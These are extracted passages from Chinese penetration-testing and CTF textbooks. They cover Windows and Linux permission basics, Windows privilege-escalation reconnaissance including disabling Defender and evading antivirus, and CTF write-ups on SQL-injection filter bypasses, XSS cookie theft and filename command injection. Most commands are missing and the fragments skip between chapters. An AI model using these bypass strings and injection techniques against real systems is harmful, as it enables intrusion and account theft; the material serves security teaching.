    {"text": "”提示信息 1 . 2 . 9 W i n d o w s 服 务 Windows服务本质上是一个可执行文件，相比常规的可执行文件，它有以下特点：可以在后台运行，即使用户没有登录或没有打开此程序的窗口；"},
    {"text": "如果管理员需要开机启动某个程序并使它在后台运行，则可以将它写成服务，并在Windows服务控制管理器（services.msc）中或使用命令来配置其启动方式和服务状态，如图1-35所示。"},
    {"text": "▲图1-35 Windows服务列表 图1-36 配置服务的启动类型 1 . 2 . 1 0 注 册 表 注册表（Registry）相当于Windows系统的分层树状数据库，由根键、子键、项和项值组成，用于存储启动信息、系统信息、用户环境配置信息、软硬件配置和状态信息、系统组件信息等。"},
    {"text": "注册表可以通过注册表编辑器或执行命令来访问和控制，注册表编辑器如图1-37所示。 图1-37 注册表编辑器 注册表项包括以下几种类型： ❑ REG_SZ：字符串；"},
    {"text": "表1-4列出了注册表中的根键及其简称和描述。 表 1 - 4 注 册 表 的 根 键 及 其 简 称 和 描 述 以远程桌面方式登录时，通过执行命令“regedit”来打开注册表编辑器以进行查看和编辑，如图1-38所示。 图1-38 打开注册表编辑器 在cmd命令行下执行“reg”命令可操作注册表，表1-5列出了常用的reg命令及其功能。 表 1 - 5 常 用 的 r e g 命 令 及 其 功 能 PowerShell命令行下操作注册表的命令及功能如表1-6所示。 表 1 - 6 P o w e r S h e l l 命 令 下 操 作 注 册 表 的 命 令 及 功 能 1 . 3 L i n u x 提 权 基 础 知 识 本节将简单介绍Linux系统中与权限相关的知识，如Linux用户和用户组、Linux文件权限、Linux特殊权限等。"},
    {"text": "表 1 - 7 不 同 C e n t O S 版 本 的 U I D 设 定 范 围 1 . 3 . 2 用 户 组 Linux的用户组与Windows的用户组在作用上有相似之处，都是为了让多个用户拥有相同的权限或访问限制。"},
    {"text": "将需要授权的用户添加到同一个用户组里，通过修改文件或目录的所属组，可以让该用户组下的所有用户具有相同的权限，从而方便地管理文件和目录的访问权限。"},
    {"text": "❑ 基本组（私有组）：在建立用户账户时，若没有指定账户所属的组，那么系统会建立一个和用户名相同的组，此用户组的编号和用户的ID（UID）相同，这个组就是基本组。"},
    {"text": "在登录过程中，系统将用户名和密码发送到认证模块进行验证。 认证模块首先会读取/etc/passwd文件来验证用户名是否存在，并且根据用户名查询相应的密码信息。"},
    {"text": "如果用户名存在，则会将用户输入的密码进行加密处理，并与/etc/shadow文件中存储的密码密文进行对比，如果用户输入的密码与存储的密码匹配，则认证成功，否则认证失败。"},
    {"text": "▲图1-42 /etc/passwd文件信息 ▼ 表 1 - 9 / e t c / p a s s w d 文 件 的 字 段 及 其 含 义 2 . 密 码 文 件 /etc/shadow是Linux系统中用于存储用户密码信息的文件。"},
    {"text": "图1-43 /etc/shadow文件内容 /etc/shadow文件的字段说明如图1-44所示。 图1-44 shadow文件信息 /etc/shadow文件中的字段以“:”分隔，共有9个字段。"},
    {"text": "该文件中存储了每个用户组的组名称、组密码、用户组ID、组成员列表等信息。 系统中的每个组在文件中都有一行记录，任何用户均可以读取用户组文件。 执行如下命令可查看用户组文件，如图1-45所示。"},
    {"text": "图1-45 /etc/group文件内容 /etc/group文件的字段说明如图1-46所示。 图1-46 /etc/group文件信息 /etc/group文件中的字段以“:”分隔，共有4个字段。"},
    {"text": "表 1 - 1 1 / e t c / g r o u p 文 件 的 字 段 及 其 含 义 4 . 用 户 组 密 码 文 件 /etc/gshadow是用于存储用户组密码的系统文件，与用户组配置文件/etc/group相对应，记录了用户组密码的相关信息。"},
    {"text": "图1-47 /etc/gshadow文件内容 /etc/gshadow文件的字段说明如图1-48所示。 图1-48 /etc/gshadow文件信息 /etc/gshadow文件中的字段以“:”分隔，共有4个字段。"},
    {"text": "表 1 - 1 2 g s h a d o w 文 件 的 字 段 及 其 含 义 1 . 3 . 4 用 户 管 理 相 关 命 令 在渗透测试中，有时需要进行用户或用户组添加、密码更改和权限设定等操作，所以掌握用户管理的相关命令是非常重要的。"},
    {"text": "表 1 - 1 3 u s e r a d d 命 令 的 常 用 参 数 useradd命令使用示例1： 上面第一条命令表示创建一个名为“linux”的普通用户，第二条命令表示创建一个名为“apache”的新用户，不为其创建家目录，并指定其默认的Shell为/sbin/nologin，即不允许登录。 useradd命令使用示例2： 该命令表示创建一个名为whoami的普通用户，指定其UID为1003，登录Shell为/bin/bash，账号永不过期，如图1-49所示。"},
    {"text": "图1-49 创建用户示例 创建用户的同时还会创建一个与用户名相同的用户组，在/home/目录下会创建一个名为whoami的目录，这就是whoami用户的家目录。"},
    {"text": "还有一个用来添加用户的命令“adduser”，adduser和useradd这两个用户创建命令之间的区别如下。 ❑ adduser：并不是标准的Linux命令，本质是一个perl脚本，也是调用的useradd命令。 adduser可以以更友好的交互式方式来添加用户，会自动为创建的用户指定主目录和Shell信息，会在创建时提示输入用户密码和个人信息。 ❑ useradd：需要使用参数指定基本设置，如果不使用任何参数，则创建的用户无密码，无法登录系统。 在实际的渗透测试中可能无法获取交互式的Shell来执行添加用户并设置密码等命令，那么可以使用如下的一句话命令添加一个带密码的用户，如图1-50所示。"},
    {"text": "表 1 - 1 4 p a s s w d 命 令 的 常 用 参 数 执行如下命令可以在交互式Shell下修改或添加用户密码，如图1-53所示。 图1-53 配置用户密码 在实际的渗透测试中可能无法获取交互式的Shell来设置密码，同样可以使用一句话命令设置密码。"},
    {"text": "表 1 - 1 5 u s e r d e l 命 令 的 常 用 参 数 也可以通过删除/etc/passwd、/etc/shadow、/etc/group、/etc/gshadow等文件中的用户所在行来手动清除一个用户。"},
    {"text": "若普通用户要切换至root用户，则需输入“su -”或“su root”，并输入正确的root密码； 若root用户要切换至普通用户，则只需输入“su<用户名>”即可，而无须输入密码。 切换用户的命令有两种执行方式： ❑ su<账户名>：仅切换至指定用户，不会切换到其工作目录，不会载入此用户的环境变量。 ❑ su-<账户名>：切换用户的同时切换至其工作目录，载入此用户的环境变量和配置文件。 su命令使用示例1（如图1-55所示）： 以上命令表示切换到root用户并以root身份执行“whoami”命令，一旦命令执行完成，将返回原用户的Shell下。 su命令使用示例2（如图1-56所示）： 以上命令表示切换至root用户。 ▲图1-55 切换用户并执行命令 图1-56 切换至root用户 5 . 执 行 特 权 命 令 在Linux系统中，sudo是一个非常重要的命令，它允许普通用户以超级用户（即root用户）的身份执行命令。"},
    {"text": "要使用sudo命令，需要先输入当前用户的密码，密码验证成功后，将拥有15min的有效时间，在此期限内再次使用sudo命令时无须输入密码，超过期限则必须重新输入密码。"},
    {"text": "执行sudo命令的格式如下： 该命令的常用参数如表1-16所示。 表 1 - 1 6 s u d o 命 令 的 常 用 参 数 sudo命令使用示例： 该命令表示以特权身份读取/etc/gshadow文件，如图1-57所示。 执行如下命令，列出当前用户可以使用sudo执行哪些命令。"},
    {"text": "每个文件和目录都有3组权限：所有者的权限、用户组的权限和其他用户的权限。 每组权限都有3种访问权限：读取权限、写入权限和执行权限。"},
    {"text": "1 . 文 件 类 型 和 访 问 权 限 执行命令ls或ll可列出当前目录中的文件并查看文件信息（ls和ll的区别是：ll显示的信息更详细，还会显示当前目录下的隐藏文件，而ls不会），如图1-58所示。 ▲图1-57 以特权身份读取文件 图1-58 列出文件 ll命令的输出包括文件类型、权限、连接数、所属用户、所属用户组、文件大小、文件最近修改时间、文件名，如图1-59所示。"},
    {"text": "图1-59 文件输出释义 （ 1 ） 文 件 类 型 在Linux系统中，有7种文件类型，如表1-17所示。 表 1 - 1 7 L i n u x 文 件 类 型 Linux系统不以扩展名来区分文件类型。"},
    {"text": "（ 3 ） 文 件 权 限 的 表 示 方 法 文件权限的字符表示如表1-19所示。 表 1 - 1 9 文 件 权 限 的 字 符 表 示 文件权限的进制表示如表1-20所示。 表 1 - 2 0 文 件 权 限 的 进 制 表 示 Linux系统中，文件/文件夹权限由9位组成，前3位表示所有者的权限，中间3位表示用户组的权限，后3位表示其他用户的权限，如表1-21所示。 表 1 - 2 1 权 限 位 举例如下： 以上内容表示，列出的是文件夹“account”的信息。"},
    {"text": "该文件夹的所有者是“root”，具有可读、可写、可执行的权限； 文件夹所属的用户组是“linux”，具有可读、可执行的权限，但没有可写的权限； 其他用户对此文件夹具有可读、可执行的权限，但没有可写的权限。"},
    {"text": "chmod命令的数字法使用示例1： 该命令表示将1.txt文件设置为所有者和用户组可读、可写、可执行，以及其他用户可读的权限（774所对应的权限符号为rwxrwxr--），如图1-61所示。 ▲图1-60 chmod命令的字母法使用示例 图1-61 chmod命令的数字法使用示例1 chmod命令的数字法使用示例2： 该命令表示递归更改test目录及其所有子目录和文件的权限，赋予所有者、用户组和其他用户可读、可写和可执行权限，如图1-62所示。"},
    {"text": "▲图1-62 chmod命令的数字法使用示例2 ▼ 表 1 - 2 4 目 录 权 限 2 . 特 殊 权 限 前文介绍了r、w、x这3种基本权限，在Linux中还有3种特殊的权限：SUID、SGID、SBIT。"},
    {"text": "（ 1 ） S U I D SUID（Set User ID）一般出现在文件所有者的执行权限位上，如图1-63所示。 图1-63 SUID示例 图1-63中，文件所有者中的“x”执行权限位，出现了“s”权限，此权限称为SETUID。"},
    {"text": "举个例子，当用户想修改自己的密码（使用passwd命令，调用/usr/bin/passwd文件）时，此操作需要修改shadow文件，而shadow文件只有root权限才能读取和修改。"},
    {"text": "通过查看passwd文件属性可以看到它已经被设置了特殊权限SUID，所以当普通用户执行passwd命令来修改密码时，是临时切换至root权限去修改shadow文件的，如图1-64所示。"},
    {"text": "当SGID作用于目录时，进入此目录的用户在创建文件或文件夹时，新文件或文件夹的所属组将继承此目录的所属组。 图1-66 SGID示例 如图1-66所示，原本文件所属组中的x执行权限位，出现了s权限，此权限称为SETGID。"},
    {"text": "当一个目录被设置了SBIT权限时，该目录中的文件和子目录只能被其所有者和root用户删除或移动，即使其他用户具有该目录的写权限，也无法修改或删除该目录中的文件和子目录。"},
    {"text": "经过第一部分的基础知识学习之后，终于来到了令人满怀期待的实际操作环节。本部分将介绍Windows系统中提升权限的多种方法。注意，本书所有的操作均在虚拟机搭建的虚拟环境和虚拟网络下进行。如果用户正处于实际的提权工作当中，请谨慎行事，因为这个环节很容易暴露自身，导致丢失当前权限。"},
    {"text": "第4章 Windows系统下的信息收集 第 4 章 W i n d o w s 系 统 下 的 信 息 收 集 信息收集的重要性不言而喻，根据“木桶原理”，信息安全的整体水平由安全级别最低的部分决定。"},
    {"text": "渗透测试人员收集的信息越多，对目标所掌握的攻击面就越大，系统中可能导致权限提升的入口点就会慢慢暴露，那么渗透测试的成功率就会大大提升。"},
    {"text": "近几年，随着各种软硬件防护措施的普及，这种测试效果总是差强人意，提权的时候获取到一个Shell，总是把各种编译好的“EXP”向服务器上传，然后逐个进行“本地溢出”，很容易导致客户服务器崩溃。"},
    {"text": "4 . 1 服 务 器 信 息 枚 举 4 . 1 . 1 版 本 信 息 执行以下命令，查看Windows系统版本号，如图4-1所示。 ▲图4-1 Windows系统版本号 4 . 1 . 2 架 构 信 息 执行以下命令，获取系统架构信息，如图4-2所示。"},
    {"text": "或 ▲图4-3 获取系统服务信息（方式1） 图4-4 获取系统服务信息（方式2） 执行以下命令，获取所有的Windows服务以及服务对应的执行文件的路径和参数，如图4-5所示。 图4-5 获取服务及对应的执行文件的路径和参数 4 . 1 . 4 进 程 信 息 执行以下命令，获取系统进程，如图4-6所示。 图4-6 获取系统进程 指定参数“/svc”可获取系统进程信息，如图4-7所示。 图4-7 获取系统进程信息（1） 也可以执行cmd命令获取系统进程信息。 还可以执行PowerShell cmdlet命令 或 获取系统进程信息。"},
    {"text": "图4-8 获取系统进程信息（2） 系统进程信息能够让我们清晰地看到服务器是否运行着影响提权的安全防护软件，以及是否存在利于提权的不安全服务、应用程序等信息。"},
    {"text": "4 . 1 . 5 驱 动 信 息 执行以下命令，获取当前系统中安装的服务器驱动程序信息，如图4-9所示。 图4-9 获取服务器驱动程序信息 服务器驱动程序信息有助于我们发现可能存在漏洞的驱动，进而去搜索漏洞利用程序进行提权。"},
    {"text": "4 . 1 . 6 磁 盘 信 息 执行以下命令，获取计算机的全部磁盘信息，如图4-10所示。 图4-10 获取全部磁盘信息 执行以下命令，获取某个磁盘的文件夹树并将结果输出到文本文件中，如图4-11所示。 执行以下命令，获取某个磁盘的文件列表并将结果输出到文本文件中，如图4-12所示。 ▲图4-11 获取D盘的文件夹树 图4-12 获取D盘的文件列表 4 . 1 . 7 补 丁 信 息 执行以下命令，获取系统补丁情况，如图4-13所示。"},
    {"text": "或执行以下PowerShell cmdlet命令： 还可以执行以下PowerShell cmdlet命令： 图4-13 获取系统补丁情况 获取系统补丁情况后，我们能够查询当前系统是否存在未修复的漏洞，有助于利用系统漏洞进行本地权限提升。 4 . 1 . 8 系 统 信 息 执行命令“systeminfo”，获取系统信息，包括系统名称、版本、系统类型、系统目录、补丁情况、网卡信息等，如图4-14所示。 执行命令systeminfo|findstr/B/C:\"OS名称\"/C:\"OS版本\"，可从“systeminfo”命令回显中提取系统名称和版本，如图4-15所示。 在英文系统中执行如下cmd命令提取系统名称和版本： 执行cmd命令“hostname”，可获取计算机名，如图4-16所示。"},
    {"text": "▲图4-14 获取系统信息 ▲图4-15 提取系统名称和版本 图4-16 获取计算机名 4 . 1 . 9 应 用 程 序 信 息 执行PowerShell cmdlet命令，查看系统安装的应用程序信息，如图4-17和图4-18所示。 通过查询注册表的方式： 通过列出程序安装文件夹的方式： 通过获取WMI对象的方式： 还可以执行以下cmd命令获取应用程序信息，如图4-19所示。 ▲图4-17 获取应用程序信息（方式1） ▲图4-18 获取应用程序信息（方式2） 图4-19 获取应用程序信息（方式3） 在Metasploit的meterpreter命令行下，可使用模块post/windows/gather/enum_applications枚举系统中安装的应用程序，如图4-20所示。 图4-20 获取系统中安装的应用程序 执行以下命令，检索服务器上是否安装了.NET及.NET的版本信息，如图4-21所示。 图4-21 检索是否安装了.NET及.NET的版本信息 执行以下命令，检索安装在服务器上的PowerShell的引擎版本信息，如图4-22所示。 该命令通常用来判断服务器中是否安装了PowerShell。"},
    {"text": "获取到系统应用程序的安装情况后，我们能够查询是否存在可能有漏洞的应用程序，或获取有更多敏感系统信息的第三方应用，有助于提升权限。"},
    {"text": "图4-22 检索PowerShell的引擎版本信息 4 . 1 . 1 0 计 划 任 务 信 息 执行以下命令，获取服务器的计划任务信息，如图4-23所示。 图4-23 获取全部计划任务 也可以执行以下PowerShell cmdlet命令获取计划任务信息，如图4-24所示。 图4-24 执行PowerShell cmdlet命令获取计划任务（排除默认Windows任务） 获取到服务器的计划任务情况后，我们可以检查当前用户对某些高权限用户运行的计划任务所对应的目录或文件是否具有修改权限。"},
    {"text": "4 . 1 . 1 1 开 机 启 动 信 息 执行以下命令，获取开机启动项文件，如图4-25所示。 图4-25 获取开机启动项文件 也可以执行以下命令来获取某个用户的开机启动项文件夹，如图4-26所示。 图4-26 获取某个用户的开机启动项文件夹 执行以下命令，列出对所有用户都有效的开机启动项文件夹。 执行以下命令，查看注册表中的开机启动项，如图4-27所示。 图4-27 查询注册表中的开机启动项 查询到开机启动项文件夹或注册表中的开机启动项文件之后，我们可以通过查看当前用户是否对这些文件有写入或修改等权限，来判断是否能够提升权限。"},
    {"text": "4 . 1 . 1 2 环 境 变 量 信 息 环境变量是计算机中的一个动态“对象”，它包含可编辑的值，用于存储有关操作系统环境的信息，如系统路径、应用程序设置和系统参数等，它可以被系统中的一个或多个软件使用，以帮助应用程序了解文件的安装位置、临时文件的存储位置等。"},
    {"text": "执行以下命令，获取环境变量信息，如图4-28所示。 或执行以下PowerShell cmdlet命令获取环境变量信息，如图4-29所示。 或 ▲图4-28 获取环境变量信息（方式1） 图4-29 获取环境变量信息（方式2） 4 . 2 网 络 信 息 枚 举 4 . 2 . 1 I P 信 息 执行cmd命令“ipconfig/all”，获取本机IP地址、DNS、网关等配置信息，如图4-30所示。 图4-30 获取IP信息 4 . 2 . 2 端 口 信 息 执行以下命令，查看计算机当前的网络连接状态和监听的端口以及相应的进程ID，如图4-31所示。"},
    {"text": "图4-31 查看端口信息 4 . 2 . 3 网 络 接 口 信 息 执行以下PowerShell cmdlet命令，获取计算机的网络适配器名称、描述、IP地址和IP段，如图4-32所示。"},
    {"text": "图4-32 获取网络接口信息 4 . 2 . 4 路 由 信 息 路由表是一种由网络路由器使用的数据结构，用于存储网络路径的信息，包括目的地址、网关地址、接口以及路由标志等。"},
    {"text": "查看当前系统的路由表，可帮助我们了解系统的网络路由情况。 执行以下命令，可获取路由表信息，如图4-33所示。 或执行以下PowerShell cmdlet命令获取路由表信息，如图4-34所示。 ▲图4-33 获取路由表信息（方式1） 图4-34 获取路由表信息（方式2） 4 . 2 . 5 共 享 信 息 执行以下命令，显示或配置当前计算机的共享资源，包括共享文件夹、打印机等，如图4-35所示。"},
    {"text": "或 也可以使用Metasploit的post/windows/gather/enum_shares模块获取共享信息，如图4-36所示。 ▲图4-35 获取共享信息 图4-36 使用Metasploit获取共享信息 4 . 3 用 户 信 息 枚 举 4 . 3 . 1 当 前 用 户 信 息 执行cmd命令“whoami/all”，查看当前用户名、SID、所属组、权限分配信息，如图4-37所示。"},
    {"text": "4 . 3 . 2 所 有 用 户 / 组 信 息 1）执行如下cmd命令，查看服务器上的所有用户账户，不过此命令不能列出用户名结尾添加了“$”符号的隐藏用户。 2）执行如下PowerShell cmdlet命令，获取更详细的信息，包括隐藏账户、是否启用、上次登录时间等，如图4-38所示。 图4-38 获取本机用户信息 3）可通过注册表查看服务器中的用户账户，如图4-39所示。 图4-39 通过注册表查看用户账户 图4-39中，框内标记的即是服务器中用户的SID。 执行以下命令，根据SID查看用户名，如图4-40所示。 图4-40 根据SID查看用户名 图4-40中，框内标记的即是用户名。 4）通过列出C:\\Users\\文件夹下的目录，也可以查看服务器上存在的用户，如图4-41所示。 图4-41 通过列目录的方式获取用户 执行cmd命令“net localgroup”或PowerShell cmdlet命令“Get-LocalGroup”，查看服务器上的所有用户组，如图4-42和图4-43所示。 ▲图4-42 获取本机用户和用户组 图4-43 获取本机用户组 执行以下cmd命令，获取服务器中某个用户的信息，如图4-44所示。 图4-44 获取某个用户的信息 执行以下命令，获取某个组里都有哪些用户，如图4-45所示。 图4-45 获取组中的用户（方式1） 或执行以下PowerShell命令获取组中的用户，如图4-46所示。 图4-46 获取组中的用户（方式2） 4 . 3 . 3 在 线 用 户 信 息 执行cmd命令“query user”或“qwinsta”，获取当前在线用户、状态、空闲时间和登录时间等信息，如图4-47所示。"},
    {"text": "图4-47 获取在线用户信息 4 . 3 . 4 用 户 策 略 信 息 执行cmd命令“net accounts”，获取用户策略信息，包括密码锁定阈值等，有助于爆破等操作，如图4-48所示。 图4-48 获取用户策略信息 4 . 4 防 护 软 件 枚 举 4 . 4 . 1 防 火 墙 状 态 执行以下命令，获取系统防火墙策略及状态，如图4-49所示。 图4-49 获取防火墙策略及状态 执行以下PowerShell命令，列出防火墙阻止的所有端口，如图4-50所示。 图4-50 列出防火墙阻止的所有端口 4 . 4 . 2 W i n d o w s D e f e n d e r 状 态 执行以下PowerShell cmdlet命令，获取系统Windows Defender状态，如图4-51所示。"},
    {"text": "图4-51 获取系统Windows Defender状态（部分截图） ❑ RealTimeProtectionEnabled：实时保护是否已经开启（由于图4-51为部分截图，因此该字段未在图中显示）。"},
    {"text": "执行以下PowerShell cmdlet命令，添加一个检查排除项，需管理员权限执行。 执行以下PowerShell cmdlet命令，可关闭Windows Defender实时保护，需管理员权限执行，并已关闭篡改防护。"},
    {"text": "4 . 4 . 3 常 见 的 防 护 软 件 进 程 执行查看进程命令可查看当前系统是否运行防护软件。 表4-1列举了一些常见的防护软件进程。 表 4 - 1 常 见 的 防 护 软 件 进 程 不要盲目地向服务器上传利用工具或代码，因为很容易触发服务器的防护软件。"},
    {"text": "获取到服务器的防火墙状态和安全软件信息后，我们能够知道服务器中是否存在可能会暴露我们行踪的防护软件，根据获取到的信息，需要进行针对性的免杀（反杀毒软件技术，用于躲避安全软件的查杀）。"},
    {"text": "未知 1.1 SQL注入漏洞 SQL注入（SQL Injection）是Web开发中最常见的一种安全漏洞。 攻击者可以利用SQL注入漏洞从数据库中获取敏感信息，或者利用数据库的特性执行添加用户、导出文件等一系列恶意操作，甚至获取数据库乃至系统的最高权限。 造成SQL注入的原因是程序没有有效过滤用户的输入，使攻击者向服务器成功提交恶意的SQL查询代码，程序错误地将攻击者的输入作为查询语句的一部分执行，导致原始的查询逻辑被改变，额外执行了攻击者精心构造的恶意代码。"},
    {"text": "常见的注入绕过方式 在注入过程中，攻击者输入“select”“union”“and”“or”“=”及空格等，往往会被程序的防御机制阻断，即程序不允许执行含有这些关键字的语句。"},
    {"text": "（5）利用被删除的关键字绕过 如果程序对某些关键字采取了删除措施，那么攻击者可能会利用“SEL + SELECT +ECT”的方式构造SELECTECT语句。 此时，如果程序删除了SELECT关键字，就相当于让攻击者成功输入了SELECT关键字。 同理，在删除其他字符（例如“<>”）时，攻击者也可以使用该字符实现绕过（例如“S<>ELECT”“UN<>ion”等）。"},
    {"text": "（7）宽字节注入 当数据库编码为GBK，PHP开启了GPC等，并且在单引号前添加了反斜杠“\\”时，输入“%df%27”，程序会在“%27”前添加一个“\\”，构成“%df%5c%27”。"},
    {"text": "题目2 截断绕过 题目概况 URL中的“%00”在ASCII码中表示0，而ASCII码中的0表示字符串的结束，所以，当URL中出现“%00”时，服务器会认为URL已经结束，不会再去检测后面的内容，而这将引发绕过验证。"},
    {"text": "如图1-5所示，尝试使用编码绕过、大小写绕过、内联注释、在关键字内添加无效字符等方法后，发现可以利用在关键字内添加无效字符的方法绕过“SEL%00ECT”。 图1-5 可以看到，在关键字内添加“%00”即可成功绕过WAF的检测。"},
    {"text": "利用报错信息查看数据库表名。 报错查询方法有很多种，通过floor()、extractvalue()、updatexml()、NAME_CONST等函数均可查询，如表1-1所示。"},
    {"text": "表1-1 这里使用的是floor()函数，注册的账号为“1123'”，邮箱为“test1223@123.com”，代码如下，如图1-10所示。 图1-10 如图1-11所示，在查询页面输入注册的邮箱地址，在返回的错误信息中可以看到，得到了一个表名“flag”。"},
    {"text": "在MySQL的文档中有这样的描述：“RAND()in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND()values in an ORDER BY clause,because ORDER BY would evaluate the column multiple times.”大意是：那些不可以作为order by的条件字段，也不可以作为group by的条件字段。 为什么rand和order by不可以一起使用呢？"},
    {"text": "就是在使用group by时，floor(rand(0)_2)会执行一次； 如果虚表中没有记录，那么在插入虚表时，floor(rand(0)_2)会再执行一次。 分析floor(rand(0)_2)报错的过程就能明白，在一次多记录查询中，floor(rand(0)_2)的值是定性的，为0、1、1、0、1、1……（这个顺序很重要）报错实际上就是floor(rand(0)_2)被多次执行导致的。 下面分析一下“select count(_)from TSafe group by floor(rand(0)_2);”的查询过程。"},
    {"text": "②取第1条记录，执行floor(rand(0)2)，发现结果为0（第1次计算）； 查询虚拟表，发现0的键值不存在，floor(rand(0)2)会再执行一次，结果为1（第2次计算）；"},
    {"text": "③查询第2条记录，再次执行floor(rand(0)2)，发现结果为1（第3次计算）； 查询虚表，发现1这个键值存在，所以floor(rand(0)2)不会执行第2次； 直接使用count()函数进行加1操作，第2条记录查询完毕。 ④查询第3条记录，再次执行floor(rand(0)2)，发现结果为0（第4次计算）；"},
    {"text": "由于没有添加随机因子，所以，floor(rand()2)是不可测的：在有2条数据时，只要出现第3次计算的值与第2次和第4次计算的值不一样的情况，就会报错。"},
    {"text": "如果存在，那么无论有多少条记录，都不会报错（floor(rand()2)不会再执行并作为虚表的键值），这也是如果不添加随机因子，则有时会报错，有时不会报错的原因。 在前面的记录让虚表变成现在这样之后，由于不管查询多少条记录，都能在虚表中找到floor(rand()2)的值，即不会再次计算，只是简单地增加count()的值，所以，程序不会报错。 例如，floor(rand(1)*2)表示在前2条记录被查询后，虚表中已经存在键值0和1了，所以后面就不会报错了。"},
    {"text": "小结 在二次注入的基础上增加加密算法，是近几年CTF比赛的一个命题趋势，即不会只考察单一的知识点，选手需要将两个或两个以上的知识点组合使用，才能得到flag。 在一些综合性CTF比赛中，单纯的Web类赛题已经很难见到了，大部分Web类赛题都需要选手运用逆向、密码学、Web方面的知识点来解答。"},
    {"text": "未知 1.2 XSS漏洞 跨站脚本“Cross-Site Scripting”的英文首字母缩写本应为“CSS”，但因为“CSS”已在网页设计领域使用，即层叠样式表“Cascading Style Sheets”，所以将“Cross”（意为“交叉”）改以交叉形的“X”为缩写。XSS按照一般的分类方式，可以分为两种。 • 反射型XSS • 存储型XSS 在CTF比赛中，很少碰到反射型XSS，题目涉及的基本上是存储型XSS。顾名思义，存储型XSS就是将XSS代码通过代码注入或其他方式保存在网页中，如果有人打开这个页面，就会执行里面的攻击代码，完成一次被动攻击。简言之，XSS就是想办法将可执行代码（例如JavaScript、VB、ActiveX、Flash）嵌入目标页面，等待“鱼儿”上钩。 题目1 留言板 题目概况 留言板是XSS漏洞的第一高发位置。下面给出一道非常简单的XSS题目（来自QUALS CTF）。让我们从发现线索开始。 信息收集 假设你是一名警察，正在调查一个贩卖违禁物品的网站，你需要想办法获得这个网站的管理员的线索。 首先，简单浏览网站的页面，如图1-13所示。 我们从标题栏上面的功能看起。单击“About”选项，除了网站介绍，什么都没有，如图1-14所示。 图1-13 图1-14 接下来，看看第二个功能“Products”。界面上展示了网站销售的所有物品。单击进入其中一个物品的界面，也只有填写电子邮箱和购买数量的功能。看看网站的URL，感觉可能存在一个伪静态注入点，如图1-15所示。暂且不管，看看最后一个功能。 图1-15 如图1-16所示，这是一个在线给管理员留言的界面，明确告知访问者：管理员会阅读并且回复你的信息。 图1-16 攻击测试 一般看到留言板，就应该想到可能存在XSS。我们来尝试一下。 打开https://requestb.in/，新建一个RequestBin，将生成的地址插入留言，代码如下，如图1-17和图1-18所示。 图1-17 图1-18 成功获得了管理员的Cookie。如图1-19所示，利用Burp Suite或浏览器插件修改当前Cookie为管理员的Cookie，登录管理员账号，找到相关信息。 图1-19 题目2 评论区 题目概况 评论区是XSS漏洞的第二高发位置。在很多技术高手的博客里，我们会经常看到针对评论区的测试代码。下面给出一道题目（ImgBlog-1，来自ICECTF）。 解题思路 打开题目网站，映入眼帘的是一个个人博客站点，页面上方有登录和注册的功能，如图1-20所示。 图1-20 首先，尝试登录。使用简单的admin/admin等弱口令组合，以及简单的注入，都没有奏效。所以，直接注册一个账号。登录后，对帖子发表评论，发现网站可能存在XSS漏洞，如图1-21所示。 图1-21 因此，尝试执行简单的XSS命令，以确定是否可以进行XSS攻击。 输入“test<scrip>alert(\"whoops\");</scrip)”命令，提交评论——什么都没有发生。刷新页面——确实什么都没有发生。仔细分析网站的其他功能，发现每条评论都包含报告按钮和评论的固定链接。单击报告按钮，依然什么都没有发生。单击固定链接，意外地得到了我们想要的结果，如图1-22所示。 图1-22 看来，可以利用XSS漏洞获取admin账号的Cookie，从而构造XSS代码。 使用nc进行监听，效果是一样的。 在服务器上监听12121端口，获取返回的数据。 到此，就利用XSS漏洞获取了管理员的Cookie。用Chrome的Edit This Cookie插件或Burp Suite将我们的Cookie修改为刚刚拿到的Cookie，刷新一下，如图1-23所示，将跳转到一个可以上传图片的界面——这里存在命令执行漏洞。 这个问题超出了XSS的范畴，相关内容将在1.3节讲解。 相关知识点 本题的前半部分没有难点，算是一道初级XSS题目（在解题过程中获取了Cookie）。在CTF比赛这种对方可能会立即单击我们的XSS代码的对抗情境中，可以使用nc监听一个端口以等待对方访问。在CTF比赛中，只要看到输入框，就可以输入XSS代码进行尝试，可能会获得意想不到的结果。 图1-23 题目3 绕过JavaScript限制 题目概况 本节分析一道简单的XSS题目，使用JavaScript处理输入的字符串来过滤关键字。这是一道在线题目，见链接1-1。读者可以先试着解答这道题目，如果无法完成，再来看下面的解题思路分析。 解题思路 访问题目页面，如图1-24所示。 图1-24 题目说明告诉我们，这是一道XSS题目，所以，可以直接输入命令进行尝试，如图1-25所示。 图1-25 题目不允许我们填写这种格式的命令。这看起来像是前端的JavaScript验证。打开Chrome的调试器，如图1-26所示。在这里，用maxsize限制长度为10，用pattern限制内容只能是大小写字母。由于js脚本的内容可以随意修改，所以将其内容修改如下。 图1-26 这样，输入就完全不受限制了。再尝试一下，发现并没有弹出我们想要的结果“1”。继续进行调试，如图1-27所示。 图1-27 由于“<”和“>”分别被替换成“&lt;”和“&gt;”，所以无法弹出。页面中嵌了一个ex1.js脚本，具体如下。 注意以下内容。 这段代码用replace()函数将输入的数据中的“<”“>”分别替换成“&lt;”“&gt;”，因此，我们只要把这段修改为以下内容即可。 执行之前输入的命令，如图1-28所示，成功弹出“1”。仔细看一下题目要求，弹出的是“Ex1”，因此将弹出内容改为“Ex1”，答题成功。 小结 本题主要考察如何使用JavaScript在前端进行数据处理。只要去掉JavaScript的限制，就可以解题了。 图1-28"},
    {"text": "未知 1.3 命令执行漏洞 命令执行漏洞是指攻击者通过浏览器发送恶意的cmd/bash命令至服务器程序，服务器程序没有正确处理所接收的数据，而是执行了系统命令，进而对服务器造成威胁。"},
    {"text": "例如，在ping、文件长度或类型判定、图片编辑处理等操作中，都可能存在命令执行漏洞。 题目1 上传图片 题目概况 命令执行漏洞，除了可以用来接收URL内容，文件名称也是可以利用的。"},
    {"text": "如图1-31所示，提示网站的图片上传功能还没有实现，也就是说，即使能上传PHP文件（文件没有被拦截），也无法得到Shell。 图1-31 回顾已经进行的操作，发现第一次上传PHP文件时返回的错误提示信息“ascii text,with no line terminators”可能对我们有帮助。"},
    {"text": "图1-32 可以看到，问问题的人使用了file命令，应该是执行了“file+空格+图片名称”命令。 既然执行了file命令，那么，如果网站没有对图片名称进行过滤，我们在解题时就可以构造类似“file imgname;其他命令”的命令。"},
